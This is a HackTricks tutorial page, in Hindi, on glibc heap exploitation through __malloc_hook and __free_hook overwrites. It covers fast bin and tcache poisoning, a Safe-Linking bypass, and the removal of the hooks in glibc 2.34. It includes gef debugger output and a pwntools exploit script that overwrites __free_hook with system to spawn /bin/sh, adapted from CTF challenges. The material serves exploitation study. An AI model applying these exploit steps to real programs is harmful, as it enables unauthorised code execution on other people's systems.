# WWW2Exec - __malloc_hook & __free_hook {{#include ../../banners/hacktricks-training.md}} ## **Malloc Hook** जैसा कि आप [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html) पर देख सकते हैं, **`__malloc_hook`** एक पॉइंटर है जो **एक फ़ंक्शन के पते की ओर इशारा करता है जिसे `malloc()` के कॉल होने पर बुलाया जाएगा** **libc लाइब्रेरी के डेटा सेक्शन में संग्रहीत**। इसलिए, यदि इस पते को एक **One Gadget** से ओवरराइट किया जाता है और `malloc` को कॉल किया जाता है, तो **One Gadget को बुलाया जाएगा**। `malloc` को कॉल करने के लिए, प्रोग्राम के इसे कॉल करने का इंतज़ार करना या **`printf("%10000$c")** को कॉल करना संभव है, जो बहुत सारे बाइट्स आवंटित करता है जिससे `libc` `malloc` को हीप में उन्हें आवंटित करने के लिए कॉल करता है। One Gadget के बारे में अधिक जानकारी के लिए: {{#ref}} ../rop-return-oriented-programing/ret2lib/one-gadget.md {{#endref}} > [!WARNING] > ध्यान दें कि GLIBC >= 2.34 के लिए हुक **निष्क्रिय** हैं। आधुनिक GLIBC संस्करणों पर उपयोग की जाने वाली अन्य तकनीकें हैं। देखें: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md). ## Free Hook इसका दुरुपयोग एक उदाहरण में किया गया था जो एक तेज़ बिन हमले का दुरुपयोग करता है, एक असंरचित बिन हमले के बाद: {{#ref}} ../libc-heap/unsorted-bin-attack.md {{#endref}} यदि बाइनरी में प्रतीक हैं, तो `__free_hook` का पता लगाने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है: ```bash gef➤ p &__free_hook ``` [पोस्ट में](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) आप बिना प्रतीकों के फ्री हुक का पता लगाने के लिए चरण-दर-चरण गाइड पा सकते हैं। संक्षेप में, फ्री फ़ंक्शन में:
gef➤ x/20i free
0xf75dedc0 : push ebx
0xf75dedc1 : call 0xf768f625
0xf75dedc6 : add ebx,0x14323a
0xf75dedcc : sub esp,0x8
0xf75dedcf : mov eax,DWORD PTR [ebx-0x98]
0xf75dedd5 : mov ecx,DWORD PTR [esp+0x10]
0xf75dedd9 : mov eax,DWORD PTR [eax]--- यहाँ ब्रेक करें
0xf75deddb : test eax,eax ;<
0xf75deddd : jne 0xf75dee50
पिछले कोड में उल्लिखित ब्रेक में `$eax` में फ्री हुक का पता स्थित होगा।
अब एक **फास्ट बिन अटैक** किया जाता है:
- सबसे पहले यह पता लगाया जाता है कि **`__free_hook`** स्थान पर **200** आकार के फास्ट **चंक्स** के साथ काम करना संभव है:
- gef➤ p &__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f : 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
- यदि हम इस स्थान पर आकार 0x200 का एक फास्ट चंक प्राप्त करने में सफल होते हैं, तो यह एक फ़ंक्शन पॉइंटर को ओवरराइट करना संभव होगा जो निष्पादित होगा।
- इसके लिए, आकार `0xfc` का एक नया चंक बनाया जाता है और उस पॉइंटर के साथ दो बार मर्ज की गई फ़ंक्शन को कॉल किया जाता है, इस तरह हम फास्ट बिन में आकार `0xfc*2 = 0x1f8` के एक मुक्त चंक का पॉइंटर प्राप्त करते हैं।
- फिर, इस चंक में संपादन फ़ंक्शन को कॉल किया जाता है ताकि इस फास्ट बिन के **`fd`** पते को पिछले **`__free_hook`** फ़ंक्शन की ओर इंगित किया जा सके।
- फिर, आकार `0x1f8` का एक चंक बनाया जाता है ताकि फास्ट बिन से पिछले बेकार चंक को पुनः प्राप्त किया जा सके, ताकि आकार `0x1f8` का एक और चंक बनाया जा सके जो **`__free_hook`** में एक फास्ट बिन चंक प्राप्त करे जिसे **`system`** फ़ंक्शन के पते के साथ ओवरराइट किया जाता है।
- और अंत में, एक चंक जिसमें स्ट्रिंग `/bin/sh\x00` है, को डिलीट फ़ंक्शन को कॉल करके मुक्त किया जाता है, जो **`__free_hook`** फ़ंक्शन को ट्रिगर करता है जो `/bin/sh\x00` को पैरामीटर के रूप में सिस्टम की ओर इंगित करता है।
---
## Tcache विषाक्तता & सुरक्षित-लिंकिंग (glibc 2.32 – 2.33)
glibc 2.32 ने **सुरक्षित-लिंकिंग** पेश किया - एक अखंडता-चेक जो **tcache** और फास्ट-बिन द्वारा उपयोग किए जाने वाले *एकल*-लिंकित सूचियों की रक्षा करता है। कच्चे फॉरवर्ड पॉइंटर (`fd`) को स्टोर करने के बजाय, ptmalloc अब इसे निम्नलिखित मैक्रो के साथ *गुप्त* रूप से स्टोर करता है:
```c
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
```
शोषण के परिणाम:
1. एक **heap leak** अनिवार्य है - हमलावर को एक मान्य छिपा हुआ पॉइंटर बनाने के लिए `chunk_addr >> 12` का रनटाइम मान जानना चाहिए।
2. केवल *पूर्ण* 8-बाइट पॉइंटर को ही बनाया जा सकता है; एकल-बाइट आंशिक ओवरराइट चेक पास नहीं करेगा।
इसलिए, glibc 2.32/2.33 पर `__free_hook` को ओवरराइट करने के लिए एक न्यूनतम tcache-poisoning प्राइमिटिव इस प्रकार दिखता है:
```py
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process("./vuln")
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
heap_base = heap_leak & ~0xfff
fd_key = heap_base >> 12 # value used by PROTECT_PTR
log.success(f"heap @ {hex(heap_base)}")
# 2. Prepare two same-size chunks and double-free one of them
a = malloc(0x48)
b = malloc(0x48)
free(a)
free(b)
free(a) # tcache double-free ⇒ poisoning primitive
# 3. Forge obfuscated fd that points to __free_hook
free_hook = libc.sym['__free_hook']
poison = free_hook ^ fd_key
edit(a, p64(poison)) # overwrite fd of tcache entry
# 4. Two mallocs: the second one returns a pointer to __free_hook
malloc(0x48) # returns chunk a
c = malloc(0x48) # returns chunk @ __free_hook
edit(c, p64(libc.sym['system']))
# 5. Trigger
bin_sh = malloc(0x48)
edit(bin_sh, b"/bin/sh\x00")
free(bin_sh)
```
उपरोक्त स्निपेट हाल के CTF चुनौतियों से अनुकूलित किया गया था जैसे कि *UIUCTF 2024 – «Rusty Pointers»* और *openECSC 2023 – «Babyheap G»*, जिनमें से दोनों ने `__free_hook` को ओवरराइट करने के लिए Safe-Linking बायपास पर निर्भर किया।
---
## glibc ≥ 2.34 में क्या बदला?
**glibc 2.34 (अगस्त 2021)** से शुरू होकर आवंटन हुक `__malloc_hook`, `__realloc_hook`, `__memalign_hook` और `__free_hook` को **सार्वजनिक API से हटा दिया गया है और अब आवंटक द्वारा इनका आह्वान नहीं किया जाता है**। संगतता प्रतीक अभी भी विरासती बाइनरी के लिए निर्यात किए जाते हैं, लेकिन इन्हें ओवरराइट करने से `malloc()` या `free()` के नियंत्रण प्रवाह पर अब कोई प्रभाव नहीं पड़ता।
व्यावहारिक प्रभाव: आधुनिक वितरणों (Ubuntu 22.04+, Fedora 35+, Debian 12, आदि) पर, आपको *अन्य* हाईजैक प्राइमिटिव (IO-FILE, `__run_exit_handlers`, vtable spraying, आदि) पर स्विच करना होगा क्योंकि हुक ओवरराइट चुपचाप विफल हो जाएंगे।
यदि आपको अभी भी डिबगिंग के लिए पुरानी कार्यप्रणाली की आवश्यकता है, तो glibc `libc_malloc_debug.so` प्रदान करता है जिसे पूर्व-लोड किया जा सकता है ताकि विरासती हुक फिर से सक्षम हो सकें - लेकिन यह पुस्तकालय **उत्पादन के लिए नहीं है और भविष्य के रिलीज़ में गायब हो सकता है**।
---
## संदर्भ
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
- Safe-Linking – 20 साल पुराने malloc() एक्सप्लॉइट प्राइमिटिव को समाप्त करना (चेक प्वाइंट रिसर्च, 2020)
- glibc 2.34 रिलीज़ नोट्स – malloc हुक का हटाना
{{#include ../../banners/hacktricks-training.md}}